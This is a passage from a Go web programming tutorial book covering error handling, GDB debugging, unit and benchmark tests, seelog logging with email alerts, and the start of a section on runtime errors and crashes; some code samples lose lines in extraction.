}
error is a built-in interface type. We can find its definition in the builtin package below. We also have a lot of internal
packages which use error in a private structure called errorString , which implements the error interface:
// errorString is a trivial implementation of error.

type errorString struct {
s string
}
func (e *errorString) Error() string {

return e.s
}
You can convert a regular string to an errorString through errors.New in order to get an object that satisfies the error
interface. Its internal implementation is as follows:
// New returns an error that formats as the given text.

func New(text string) error {
return &errorString{text}
}
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Error handling
The following example demonstrates how to use errors.New :
func Sqrt(f float64) (float64, error) {

if f < 0 {
return 0, errors.New("math: square root of negative number")
}
// implementation
}
In the following example, we pass a negative number to our Sqrt function. Checking the err variable, we check whether
the error object is non-nil using a simple nil comparison. The result of the comparison is true, so fmt.Println (the fmt
package calls the error method when dealing with error calls) is called to output an error.
f, err := Sqrt(-1)
if err != nil {
fmt.Println(err)
}
Custom Errors
Through the above description, we know that a go Error is an interface. By defining a struct that implements this interface,
we can implement their error definitions. Here's an example from the JSON package:
type SyntaxError struct {

msg string // error description
Offset int64 // where the error occurred
}
func (e * SyntaxError) Error() string {return e.msg}
The error's Offset field will not be printed at runtime when syntax errors occur, but using a type assertion error type, you
can print the desired error message:
if err := dec.Decode(&val); err != nil {

if serr, ok := err.(*json.SyntaxError); ok {
line, col := findLine(f, serr.Offset)
return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err)
}
return err
}
It should be noted that when the function returns a custom error, the return value is set to the recommended type of error
rather than a custom error type. Be careful not to pre-declare variables of custom error types. For example:
func Decode() *SyntaxError {

// error, which may lead to the caller's err != nil comparison to always be true.
var err * SyntaxError // pre-declare error variable
if an error condition {
err = &SyntaxError{}
}
return err // error, err always equal non-nil, causes caller's err != nil comparison to always be true
}
See http://golang.org/doc/faq#nil_error for an in depth explanation
The above example shows how to implement a simple custom Error type. But what if we need more sophisticated error
handling? In this case, we have to refer to the net package approach:
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Error handling
package net
type Error interface {

error
Timeout() bool // Is the error a timeout?
Temporary() bool // Is the error temporary?
}
Using type assertion, we can check whether or not our error is of type net.Error, as shown in the following example. This
allows us to refine our error handling -if a temporary error occurs on the network, it will sleep for 1 second, then retry the
operation.
if nerr, ok := err.(net.Error); ok && nerr.Temporary() {

time.Sleep(1e9)
continue
}
if err != nil {
log.Fatal(err)
}
Error handling
Go handles errors and checks the return values of functions in a C-like fashion, which is different to how most of the other
major languages do. This makes the code more explicit and predictable, but also more verbose. To reduce the redundancy
of our error-handling code, we can use abstract error handling functions that allow us to implement similar error handling
behaviour:
func init() {
http.HandleFunc("/view", viewRecord)
}
func viewRecord(w http.ResponseWriter, r *http.Request) {

c := appengine.NewContext(r)
key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
record := new(Record)
if err := datastore.Get(c, key, record); err != nil {
http.Error(w, err.Error(), 500)
return
}
if err := viewTemplate.Execute(w, record); err != nil {
}
}
The above example demonstrate how the data access and template call has detected an error. When an error occurs , a
call to unified handler http.Error, returns a 500 error code to the client , and displays the corresponding error data. But when
more and more HandleFunc calls are made, so error-handling logic code will increase. We can customize the router to
reduce code (refer to the third chapter of HTTP for more detail).
type appHandler func(http.ResponseWriter, *http.Request) error
func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {

if err := fn(w, r); err != nil {
}
}
Above we've defined a custom router. We can then register our handler as usual:
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Error handling
func init() {
http.Handle("/view", appHandler(viewRecord))
}
The /view handler can then be handled by the following code; it is a lot simpler than our original implementation isn't it?
func viewRecord(w http.ResponseWriter, r *http.Request) error {

return err
}
return viewTemplate.Execute(w, record)
}
The error handler example above will return the 500 Internal Error code to users when any errors occur, in addition to
printing out the corresponding error code. In fact, we can customize the type of error returned to output a more developer
friendly error message with information that is useful for debugging like so:
type appError struct {

Error error
Message string
Code int
}
Our custom router can be changed accordingly:
type appHandler func(http.ResponseWriter, *http.Request) *appError
func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {

if e := fn(w, r); e != nil { // e is *appError, not os.Error.
c.Errorf("%v", e.Error)
http.Error(w, e.Message, e.Code)
}
}
After we've finished modifying our custom error, our logic can be changed as follows:
func viewRecord(w http.ResponseWriter, r *http.Request) *appError {

return &appError{err, "Record not found", 404}
}
if err := viewTemplate.Execute(w, record); err != nil {
return &appError{err, "Can't display record", 500}
}
return nil
}
As shown above, we can return different error codes and error messages in our views, depending on the situation.
Although this version of our code functions similarly to the previous version, it's more explicit, and its error message
prompts are more comprehensible. All of these factors can help to make your application more scalable as complexity
increases.
Summary
245
Error handling
Fault tolerance is a very important aspect of any programming language. In Go, it is achieved through error handling.
Although Error is only one interface, it can have many variations in the way that it's implemented, and we can customize
it according to our needs on a case by case basis. By introducing these various error handling concepts, we hope that you
will have gained some insight on how to implement better error handling schemes in your own web applications.
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Next section: Debugging by using GDB
246
Debugging by using GDB
11.2 Debugging with GDB

During the development process of any application, developers will always need to perform some kind of code debugging.
PHP, Python, and most of the other dynamic languages, are able to be modified at runtime, as long as the modifications do
not explicitly need to be compiled. We can easily print data in dynamic operating environments, outputting our changes and
printing variable information directly. In Go, you can of course speckle your code with Println s before-hand to display
variable information for debugging purposes, but any changes to your code need to be recompiled every time. This can
quickly become cumbersome. If you've programmed in Python or Javascript, you'll know that the former provides tools such
as pdb and ipdb for debugging, and the latter has similar tools that are able to dynamically display variable information and
facilitate single-step debugging. Fortunately, Go has native support for a similar tool which provides such debugging
features: GDB. This section serves as a brief introduction into debugging Go applications using GDB.
GDB debugging profile

GDB is a powerful debugging tool targeting UNIX-like systems, released by the FSF (Free Software Foundation). GDB
allows us to do the following things:
1. Initial settings can be customize according to the specific requirements of your application.
2. Can be set so that the program being debugged in the developer's console stops at the prescribed breakpoints
(breakpoints can be conditional expressions).
3. When the program has been stopped, you can check its current state to see what happened.
4. Dynamically change the current program's execution environment.
To debug your Go applications using GDB, the version of GDB you use must be greater than 7.1.
When compiling Go programs, the following points require particular attention:
1. Using -ldflags "-s" will prevent the standard debugging information from being printed
2. Using -gcflags "-N-l" will prevent Go from performing some of its automated optimizations -optimizations of
aggregate variables, functions, etc. These optimizations can make it very difficult for GDB to do its job, so it's best to
disable them at compile time using these flags.
Some of GDB's most commonly used commands are as follows:
list
Also used in its abbreviated form l , list is used to display the source code. By default, it displays ten lines of code and
you can specify the line you wish to display. For example, the command list 15 displays ten lines of code centered
around line 15, as shown below.
10 time.Sleep(2 * time.Second)
11 c <- i
12 }
13 close(c)
14 }
15
16 func main() {
17 msg := "Starting main"
18 fmt.Println(msg)
19 bus := make(chan int)
break
Also used in its abbreviated form b , break is used to set breakpoints, and takes as an argument that defines which point
to set the breakpoint at. For example, b 10 sets a break point at the tenth row.
delete
247
Also used in its abbreviated form d , delete is used to delete break points. The break point is set followed by the serial
number. The serial number can be obtained through the info breakpoints command. Break points set with their
corresponding serial numbers are displayed as follows to set a break point number.
Num Type Disp Enb Address What

2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23
breakpoint already hit 1 time
backtrace
Abbreviated as bt , this command is used to print the execution of the code, for instance:
#0 main.main () at /home/xiemengjun/gdb.go:23
#1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#3 0x0000000000000000 in ?? ()
info
The info command can be used in conjunction with several parameters to display information. The following parameters
are commonly used:
info locals
Displays the currently executing program's variable values
info breakpoints
Displays a list of currently set breakpoints
info goroutines
Displays the current list of running goroutines, as shown in the following code, with the * indicating the current execution
* 1 running runtime.gosched
* 2 syscall runtime.entersyscall
3 waiting runtime.gosched
4 runnable runtime.gosched
print
Abbreviated as p , this command is used to print variables or other information. It takes as arguments the variable names
to be printed and of course, there are some very useful functions such as $len() and $cap() that can be used to return the
length or capacity of the current strings, slices or maps.
whatis
whatis is used to display the current variable type, followed by the variable name. For instance, whatis msg , will output
the following:
type = struct string
next
Abbreviated as n , next is used in single-step debugging to skip to the next step. When there is a break point, you can
enter n to jump to the next step to continue
continue
Abbreviated as c , continue is used to jump out of the current break point and can be followed by a parameter N, which
specifies the number of times to skip the break point
set variable
248
This command is used to change the value of a variable in the process. It can be used like so: set variable <var> =
<value>
The debugging process

Now, let's take a look at the following code to see how GDB is typically used to debug Go programs:
package main
import (
"fmt"
"time"
)
func counting(c chan<- int) {

for i := 0; i < 10; i++ {
time.Sleep(2 * time.Second)
c <- i
}
close(c)
}
func main() {
msg := "Starting main"
fmt.Println(msg)
bus := make(chan int)
msg = "starting a gofunc"
go counting(bus)
for count := range bus {
fmt.Println("count:", count)
}
}
Now we compile the file, creating an executable file called "gdbfile":
go build -gcflags "-N -l" gdbfile.go
Use the GDB command to start debugging :
gdb gdbfile
After first starting GDB, you'll have to enter the run command to see your program running. You will then see the program
output the following; executing the program directly from the command line will output exactly the same thing:
(gdb) run
Starting program: /home/xiemengjun/gdbfile
Starting main
count: 0
count: 1
count: 2
count: 3
count: 4
count: 5
count: 6
count: 7
count: 8
count: 9
[LWP 2771 exited]
[Inferior 1 (process 2771) exited normally]
Ok, now that we know how to get the program up and running, let's take a look at setting breakpoints:
249
(gdb) b 23
Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23.
(gdb) run
Starting program: /home/xiemengjun/gdbfile
Starting main
[New LWP 3284]
[Switching to LWP 3284]
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23

23 fmt.Println("count:", count)
In the above example, we use the b 23 command to set a break point on line 23 of our code, then enter run to start the
program. When our program stops at our breakpoint, we typically need to look at the corresponding source code context.
Entering the list command into our GDB session, we can see the five lines of code preceding our breakpoint:
(gdb) list
18 fmt.Println(msg)
19 bus := make(chan int)
20 msg = "starting a gofunc"
21 go counting(bus)
22 for count := range bus {
24 }
25 }
Now that GDB is running the current program environment, we have access to some useful debugging information that we
can print out. To see the corresponding variable types and values, type info locals :
(gdb) info locals

count = 0
bus = 0xf840001a50
(gdb) p count
$1 = 0
(gdb) p bus
$2 = (chan int) 0xf840001a50
(gdb) whatis bus
type = chan int
To let the program continue its execution until the next breakpoint, enter the c command:
(gdb) c
Continuing.
count: 0
[New LWP 3303]

(gdb) c
Continuing.
count: 1

After each c , the code will execute once then jump to the next iteration of the for loop. It will, of course, continue to print
out the appropriate information.
Let's say that you need to change the context variables in the current execution environment, skip the process then
continue to the next step. You can do so by first using info locals to get the variable states, then the set variable
command to modify them:
250
(gdb) info locals

count = 2
bus = 0xf840001a50
(gdb) set variable count=9
(gdb) info locals
count = 9
bus = 0xf840001a50
(gdb) c
Continuing.
count: 9

Finally, while running, the program creates a number of goroutines. We can see what each goroutine is doing using info
goroutines :
(gdb) info goroutines

* 1 running runtime.gosched
* 2 syscall runtime.entersyscall
3 waiting runtime.gosched
4 runnable runtime.gosched
(gdb) goroutine 1 bt
#0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927
#1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:327
#2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:420
#3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22
#4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#6 0x0000000000000000 in ?? ()
From the goroutines command, we can have a better picture of what Go's runtime system is doing internally; the calling
sequence for each function is plainly displayed.
Summary
In this section, we introduced some basic commands from the GDB debugger that you can use to debug your Go
applications. These included the run , print , info , set variable , continue , list and break commands, among
others. From the brief examples above, I hope that you will have a better understanding of how the debugging process
works in Go using the GDB debugger. If you want to get more debugging tips, please refer to the GDB manual on its official
website.
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Next section: Write test cases
251
Write test cases
11.3 Writing test cases

In the course of development, a very important step is to test our code to ensure its quality and integrity. We need to make
sure that every function returns the expected result, and that our code performs optimally. We already know that the focus
of unit tests is to find logical errors in the design or implementation of programs. They are used to detect and expose
problems in code early on so that we can more easily fix them, before they get out of hand. We also know that performance
tests are conducted for the purpose of optimizing our code so that it is stable under load, and can maintain a high level of
concurrency. In this section, we'll take a look at some commonly asked questions about how unit and performance tests are
implemented in Go.
The Go language comes with a lightweight testing framework called testing , and we can use the go test command to
execute unit and performance tests. Go's testing framework works similarly to testing frameworks in other languages.
You can develop all sorts of test suites with them, which may include tests for unit testes, benchmarking, stress tests, etc.
Let's learn about testing in Go, step by step.
How to write test cases

Since the go test command can only be executed in a directory containing all corresponding files, we are going to create
a new project directory gotest so that all of our code and test code are in the same directory.
Let's go ahead and create two files in the directory called gotest.go and gotest_test.go
1. Gotest.go: This file declares our package name and has a function that performs a division operation:
package gotest
import (
"errors"
)
func Division(a, b float64) (float64, error) {

if b == 0 {
return 0, errors.New("Divisor can not be 0")
}
return a / b, nil
}
2. Gotest_test.go: This is our unit test file. Keep in mind the following principles for test files:
3. File names must end in _test.go so that go test can find and execute the appropriate code
4. You have to import the testing package

5. All test case functions begin with Test
6. Test cases follow the source code order
7. Test functions of the form TestXxx() take a testing.T argument; we can use this type to record errors or to get the
testing status
8. In functions of the form func TestXxx(t * testing.T) , the Xxx section can be any alphanumeric combination, but the
first letter cannot be a lowercase letter [az]. For example, Testintdiv would be an invalid function name.
9. By calling one of the Error , Errorf , FailNow , Fatal or FatalIf methods of testing.T on our testing functions,
we can fail the test. In addition, we can call the Log method of testing.T to record the information in the error log.
Here is our test code:
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Write test cases
package gotest
import (
"testing"
)
func Test_Division_1(t *testing.T) {

// try a unit test on function
if i, e := Division(6, 2); i != 3 || e != nil {
// If it is not as expected, then the test has failed
t.Error("division function tests do not pass ")
} else {
// record the expected information
t.Log("first test passed ")
}
}

t.Error("just does not pass")
}
When executing go test in the project directory, it will display the following information:
--- FAIL: Test_Division_2 (0.00 seconds)

gotest_test.go: 16: is not passed
FAIL
exit status 1
FAIL gotest 0.013s
We can see from this result that the second test function does not pass since we wrote in a dead-end using t.Error . But
what about the performance of our first test function? By default, executing go test does not display test results. We need
to supply the verbose argument -v like go test -v to display the following output:
=== RUN Test_Division_1

--- PASS: Test_Division_1 (0.00 seconds)
gotest_test.go: 11: first test passed
--- FAIL: Test_Division_2 (0.00 seconds)
gotest_test.go: 16: is not passed
FAIL
exit status 1
FAIL gotest 0.012s
The above output shows in detail the results of our test. We see that the test function 1 Test_Division_1 passes, and the
test function 2 Test_Division_2 fails, finally concluding that our test suite does not pass. Next, we modify the test function
2 with the following code:

// try a unit test on function
if _, e := Division(6, 0); e == nil {
// If it is not as expected, then the error
t.Error("Division did not work as expected.")
} else {
// record some of the information you expect to record
t.Log("one test passed.", e)
}
}
We execute go test -v once again. The following information should now be displayed -the test suite has passed~:
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Write test cases

gotest_test.go: 11: first test passed
gotest_test.go: 20: one test passed. divisor can not be 0
PASS
ok gotest 0.013s
How to write stress tests

Stress testing is used to detect function performance, and bears some resemblance to unit testing (which we will not get
into here), however we need to pay attention to the following points:
Stress tests must follow the following format, where XXX can be any alphanumeric combination and its first letter
cannot be a lowercase letter.
func BenchmarkXXX (b *testing.B){...}
By default, Go test does not perform function stress tests. If you want to perform stress tests, you need to set the flag
-test.bench with the format: -test.bench="test_name_regex" . For instance, to run all stress tests in your suite, you
would run go test -test.bench=".*" .
In your stress tests, please remember to use testing.B.N any loop bodies, so that the tests can be run properly.
As before, test file names must end in _test.go
Here we create a stress test file called webbench_test.go:
package gotest
import (
"testing"
)
func Benchmark_Division(b *testing.B) {

for i := 0; i < b.N; i++ { // use b.N for looping
Division(4, 5)
}
}
func Benchmark_TimeConsumingFunction(b *testing.B) {

b.StopTimer() // call the function to stop the stress test time count
// Do some initialization work, such as reading file data, database connections and the like,
// So that our benchmarks reflect the performance of the function itself
b.StartTimer() // re-start time

for i := 0; i < b.N; i++ {
Division(4, 5)
}
}
We then execute the go test -file webbench_test.go -test.bench =".*" command, which outputs the following results:
PASS
Benchmark_Division 500000000 7.76 ns/ op
Benchmark_TimeConsumingFunction 500000000 7.80 ns/ op
ok gotest 9.364s
The above results show that we did not perform any of our TestXXX unit test functions, and instead only performed our
BenchmarkXXX tests (which is exactly as expected). The first Benchmark_Division test shows that our Division() function
executed 500 million times, with an average execution time of 7.76ns. The second Benchmark_TimeConsumingFunction shows
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Write test cases
that our TmeConsumingFunction executed 500 million times, with an average execution time of 7.80ns. Finally, it outputs the
total execution time of our test suite.
Summary
From our brief encounter with unit and stress testing in Go, we can see that the testing package is very lightweight, yet
packed with useful utilities. We saw that writing unit and stress tests can be very simple, and running them can be even
easier with Go's built-in go test command. Every time we modify our code, we can simply run go test to begin
regression testing.
Links
Directory
Previous section: Debugging using GDB
255
Summary
11.4 Summary
Over the course of the last three sections, we've introduced how to handle errors in Go, first looking at good error handling
practices and design, then learning how to use the GDB debugger effectively. We saw that with GDB, we can perform
single-step debugging, view and modify our program variables during execution, and print out the relevant process
information. Finally, we described how to use Go's built-in testing framework to write unit and stress tests. Properly using
this framework allows us to easily make any future changes to our code and perform the necessary regression testing.
Good web applications must have good error handling, and part of that is having readable errors and error handling
mechanisms which can scale in a predictable manner. Using the tools mentioned above as well as writing high quality and
thorough unit and stress tests, we can have peace of mind knowing that once our applications are live, they can maintain
optimal performance and run as expected.
Links
Directory
Previous section: Write test cases
Next chapter: Deployment and maintenance
256
Deployment and maintenance
12 Deployment and maintenance

So far, we've covered the basics of developing, debugging and testing web applications in Go. As is often said, however:
the last 10% of development takes 90% of the time. In this chapter, we will be emphasizing this last 10% of application
development in order to truly craft reliable and high quality web applications. In the first section, we will examine how
production services generate logs, and the process of logging itself. The second section will describe dealing with runtime
errors, and how to manage them when they occur so that the impact on end users is minimized. In the third section, we
tackle the subject of deploying standalone Go programs, which can be tricky at first. As you might know, Go programs
cannot be written with daemons like you would with a language such as C. We'll discuss how background processes are
typically managed in Go. Finally, our fourth and last section will address the process of backing up and recovering
application data in Go. We'll take a look at some techniques for ensuring that in the event of a crash, we will be able to
maintain the integrity of our data.
Links
Directory
Next section: Logs
257
Logs
12.1 Logs
We want to build web applications that can keep track of events which have occurred throughout execution, combining
them all into one place for easy access later on, when we inevitably need to perform debugging or optimization tasks. Go
provides a simple log package which we can use to help us implement simple logging functionality. Logs can be printed
using Go's fmt package, called inside error handling functions for general error logging. Go's standard package only
contains basic functionality for logging, however. There are many third party logging tools that we can use to supplement it
if your needs are more sophisticated (tools similar to log4j and log4cpp, if you've ever had to deal with logging in Java or
C++). A popular and fully featured, open-source logging tool in Go is the seelog logging framework. Let's take a look at how
we can use seelog to perform logging in our Go applications.
Introduction to seelog
Seelog is a logging framework for Go that provides some simple functionality for implementing logging tasks such as
filtering and formatting. Its main features are as follows:
Dynamic configuration via XML; you can load configuration parameters dynamically without recompiling your program
Supports hot updates, the ability to dynamically change the configuration without the need to restart the application
Supports multi-output streams that can simultaneously pipe log output to multiple streams, such as a file stream,
network flow, etc.
Support for different log outputs
Command line output

File Output
Cached output
Support log rotate
SMTP Mail
The above is only a partial list of seelog's features. To fully take advantage of all of seelog's functionality, have a look at its
official wiki which thoroughly documents what you can do with it. Let's see how we'd use seelog in our projects:
First install seelog:
go get -u github.com/cihub/seelog
Then let's write a simple example:
package main
import log "github.com/cihub/seelog"
func main() {
defer log.Flush()
log.Info("Hello from Seelog!")
}
Compile and run the program. If you see a Hello from seelog in your application log, seelog has been successfully
installed and is running operating normally.
Custom log processing with seelog

Seelog supports custom log processing. The following code snippet is based on the its custom log processing part of its
package:
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Logs
package logs
import (
"errors"
"fmt"
seelog "github.com/cihub/seelog"
"io"
)
var Logger seelog.LoggerInterface
func loadAppConfig() {
appConfig := `
<seelog minlevel="warn">
<outputs formatid="common">
<rollingfile type="size" filename="/data/logs/roll.log" maxsize="100000" maxrolls="5"/>
<filter levels="critical">
<file path="/data/logs/critical.log" formatid="critical"/>
<smtp formatid="criticalemail" senderaddress="[email protected]" sendername="ShortUrl API" hostname="smtp
.gmail.com" hostport="587" username="mailusername" password="mailpassword">
<recipient address="[email protected]"/>
</smtp>
</filter>
</outputs>
<formats>
<format id="common" format="%Date/%Time [%LEV] %Msg%n" />
<format id="critical" format="%File %FullPath %Func %Msg%n" />
<format id="criticalemail" format="Critical error on our server!\n %Time %Date %RelFile %Func %Msg \nSent
by Seelog"/>
</formats>
</seelog>
`
logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig))
if err != nil {
fmt.Println(err)
return
}
UseLogger(logger)
}
func init() {
DisableLog()
loadAppConfig()
}
// DisableLog disables all library log output

func DisableLog() {
Logger = seelog.Disabled
}
// UseLogger uses a specified seelog.LoggerInterface to output library log.

// Use this func if you are using Seelog logging system in your app.
func UseLogger(newLogger seelog.LoggerInterface) {
Logger = newLogger
}
The above implements the three main functions:
DisableLog
Initializes a global variable Logger with seelog disabled, mainly in order to prevent the logger from being repeatedly
initialized
LoadAppConfig
Initializes the configuration settings of seelog according to a configuration file. In our example we are reading the
configuration from an in-memory string, but of course, you can read it from an XML file also. Inside the configuration, we set
up the following parameters:
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Logs
Seelog
The minlevel parameter is optional. If configured, logging levels which are greater than or equal to the specified level will
be recorded. The optional maxlevel parameter is similarly used to configure the maximum logging level desired.
Outputs
Configures the output destination. In our particular case, we channel our logging data into two output destinations. The first
is a rolling log file where we continuously save the most recent window of logging data. The second destination is a filtered
log which records only critical level errors. We additionally configure it to alert us via email when these types of errors occur.
Formats
Defines the various logging formats. You can use custom formatting, or predefined formatting -a full list of predefined
formats can be found on seelog's wiki
UseLogger
Set the current logger as our log processor
Above, we've defined and configured a custom log processing package. The following code demonstrates how we'd use it:
package main
import (
"net/http"
"project/logs"
"project/configs"
"project/routes"
)
func main() {
addr, _ := configs.MainConfig.String("server", "addr")
logs.Logger.Info("Start server at:%v", addr)
err := http.ListenAndServe(addr, routes.NewMux())
logs.Logger.Critical("Server err:%v", err)
}
Email notifications
The above example explains how to set up email notifications with seelog . As you can see, we used the following smtp
configuration:
<smtp formatid="criticalemail" senderaddress="[email protected]" sendername="ShortUrl API" hostname="smtp.gmail.com"

hostport="587" username="mailusername" password="mailpassword">
<recipient address="[email protected]"/>
</smtp>
We set the format of our alert messages through the criticalemail configuration, providing our mail server parameters to
be able to receive them. We can also configure our notifier to send out alerts to additional users using the recipient
configuration. It's a simple matter of adding one line for each additional recipient.
To test whether or not this code is working properly, you can add a fake critical message to your application like so:
logs.Logger.Critical("test Critical message")
Don't forget to delete it once you're done testing, or when your application goes live, your inbox may be flooded with email
notifications.
Now, whenever our application logs a critical message while online, you and your specified recipients will receive a
notification email. You and your team can then process and remedy the situation in a timely manner.
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Logs
Using application logs

When it comes to logs, each application's use-case may vary. For example, some people use logs for data analysis
purposes, others for performance optimization. Some logs are used to analyze user behavior and how people interact with
your website. Of course, there are logs which are simply used to record application events as auxiliary data for finding
problems.
As an example, let's say we need to track user attempts at logging into our system. This involves recording both successful
and unsuccessful login attempts into our log. We'd typically use the "Info" log level to record these types of events, rather
than something more serious like "warn". If you're using a linux-type system, you can conveniently view all unsuccessful
login attempts from the log using the grep command like so:
# cat /data/logs/roll.log | grep "failed login"

2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password
This way, we can easily find the appropriate information in our application log, which can help us to perform statistical
analysis if needed. In addition, we also need to consider the size of logs generated by high-traffic web applications. These
logs can sometimes grow unpredictably. To resolve this issue, we can set seelog up with the logrotate configuration to
ensure that single log files do not consume excessive disk space.
Summary
In this section, we've learned the basics of seelog and how to build a custom logging system with it. We saw that we can
easily configure seelog into as powerful a log processing system as we need, using it to supply us with reliable sources of
data for analysis. Through log analysis, we can optimize our system and easily locate the sources of problems when they
arise. In addition, seelog ships with various default log levels. We can use the minlevel configuration in conjunction with
a log level to easily set up tests or send automated notification messages.
Links
Directory
Previous section: Deployment and maintenance
Next section: Errors and crashes
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Errors and crashes
12.2 Errors and crashes

Once our web applications go live, it's likely that there will be some unforeseen errors. A few example of common errors
that may occur in the course of your application's daily operations, are listed below:
Database Errors: errors related to accessing the database server or stored data. The following are some database
errors which you may encounter:
Connection Errors: indicates that a connection to the network database server could not be established, a supplied
user name or password is incorrect, or that the database does not exist.
Query Errors: the illegal or incorrect use of an SQL query can raise an error such as this. These types of errors can be
avoided through rigorous testing.
Data Errors: database constraint violation such as attempting to insert a field with a duplicate primary key. These types
of errors can also be avoided through rigorous testing before deploying your application into a production environment.
Application Runtime Errors: These types of errors vary greatly, covering almost all error codes which may appear
during runtime. Possible application errors are as follows:
File system and permission errors: when the application attempts to read a file which does not exist or does not have
permission to read, or when it attempts to write to a file which it is not allowed to write to, errors of this category will
occur. A file system error will also occur if an application reads a file with an unexpected format, for instance a
configuration file that should be in the INI format but is instead structured as JSON.
Third-party application errors: These errors occur in applications which interface with other third-party applications or
services. For instance, if an application publishes tweets after making calls to Twitter's API, it's obvious that Twitter's
services must be up and running in order for our application to complete its task. We must also ensure that we supply
these third-party interfaces with the appropriate parameters in our calls, or else they will also return errors.
HTTP errors: These errors vary greatly, and are based on user requests. The most common is the 404 Not Found
error, which arises when users attempt to access non-existent resources in your application. Another common HTTP
error is the 401 Unauthorized error (authentication is required to access the requested resource), 403 Forbidden error
(users are altogether refused access to this resource) and 503 Service Unavailable errors (indicative of an internal
program error).
Operating system errors: These sorts of errors occur at the operating system layer and can happen when operating
system resources are over-allocated, leading to crashes and system instability. Another common occurrence at this
level is when the operating system disk gets filled to capacity, making it impossible to write to. This naturally produces
in many errors.
Network errors: network errors typically come in two flavors: one is when users issue requests to the application and
the network disconnects, thus disrupting its processing and response phase. These errors do not cause the application
to crash, but can affect user access to the website; the other is when applications attempts to read data from
disconnected networks, causing read failures. Judicious testing is particularly important when making network calls to
avoid such problems, which can cause your application to crash.
Error handling goals

Before implementing error handling, we must be clear about what goals we are trying to achieve. In general, error handling
systems should accomplish the following:
User error notifications: when system or user errors occur, causing current user requests to fail to complete, affected
users should be notified of the problem. For example, for errors cause by user requests, we show a unified error page
(404.html). When a system error occurs, we use a custom error page to provide feedback for users as to what
happened -for instance, that the system is temporarily unavailable (error.html).
Log errors: when system errors occur (in general, when functions return non-nil error variables), a logging system such
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Errors and crashes
as the one described earlier should be used to record the event into a log file file. If it is a fatal error, the system
administrator should also be notified via e-mail. In general however, most 404 errors do not warrant the sending of
email notifications; recording the event into a log for later scrutiny is often adequate.
Roll back the current request operation: If a user request causes a server error, then we need to be able to roll back
the current operation. Let's look at an example: a system saves a user-submitted form to its database, then submits
this data to a third-party server. However, the third-party server disconnects and we are unable to establish a
connection with it, which results in an error. In this case, the previously stored form data should be deleted from the
database (void should be informed), and the application should inform the user of the system error.
Ensure that the application can recover from errors: we know that it's difficult for any program to guarantee 100%
uptime, so we need to make provision for scenarios where our programs fail. For instance if our program crashes, we
first need to log the error, notify the relevant parties involved, then immediately get the program up and running again.
This way, our application can continue to provide services while a system administrator investigates and fixes the
cause of the problem.
How to handle errors

In chapter 11, we addressed the process of error handling and design using some examples. Let's go into these examples
in a bit more detail, and see some other error handling scenarios:
Notify the user of errors:
When an error occurs, we can present the user accessing the page with two kinds of errors pages: 404.html and error.html.
Here is an example of what the source code of an error page might look like:
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Page Not Found
</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<div class="container">
<div class="row">
<div class="span10">
<div class="hero-unit">
<h1> 404! </h1>
<p>{{.ErrorInfo}}</p>
</div>
</div>

</div>
</div>
</body>
</html>
Another example:
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Errors and crashes
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>system error page
</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<div class="container">
<div class="row">
<div class="span10">
<div class="hero-unit">
<h1> system is temporarily unavailable ! </h1>
<p>{{.ErrorInfo}}</p>
</div>
</div>

</div>
</div>
</body>
</html>
404 error-handling logic, in the occurrence of a system error:
func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {

if r.URL.Path == "/" {
sayhelloName(w, r)
return
}
NotFound404(w, r)
return
}
func NotFound404(w http.ResponseWriter, r *http.Request) {

log.Error(" page not found") //error logging
t, _ = t.ParseFiles("tmpl/404.html", nil) //parse the template file
ErrorInfo := " File not found " //Get the current user information
t.Execute(w, ErrorInfo) //execute the template merger operation
}
func SystemError(w http.ResponseWriter, r *http.Request) {

log.Critical(" System Error") //system error triggered Critical, then logging will not only
send a message
t, _ = t.ParseFiles("tmpl/error.html", nil) //parse the template file
ErrorInfo := " system is temporarily unavailable " //Get the current user information
t.Execute(w, ErrorInfo) //execute the template merger operation
}
How to handle exceptions

We know that many other languages have try... catch keywords used to capture the unusual circumstances, but in fact,
many errors can be expected to occur without the need for exception handling, and can be instead treated as an errors. It's
for this reason that Go functions return errors by design. For example, if a file is not found or if os.Open returns an error,
these functions will not panic; as another example, if a network connection gets disconnected during a data write operation,
the net.Conn family of Write functions will return errors instead of panicking. These error states are to be expected in
most applications and Go particularly makes it explicit when operations might fail by returning error variables. Looking at
the example above, we can clearly see the errors that can be expected to occur.
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Errors and crashes
There are, however, cases where panic should be used. For instance in operations where failure is almost impossible, or
in certain situations where there is no way to return an error and the operation cannot continue, panic should be used.
Take for example a program that tries to obtain the value of an array at x[j], but the index j is out of bounds. This part of the
code will cause the program to panic, as will other critical, unexpected errors of this nature. By default, panicking will kill off
the offending process (goroutine), allowing the code which dispatched the goroutine an opportunity to recover from the
error. This way, the function in which the error occurred as well as all subsequent code after it will not continue to execute.
Go's panic was deliberately designed with this behavior in mind, which is different than typical error handling; panic is
really just exception handling. In the example below, we expect that User[UID] will return a username from the User
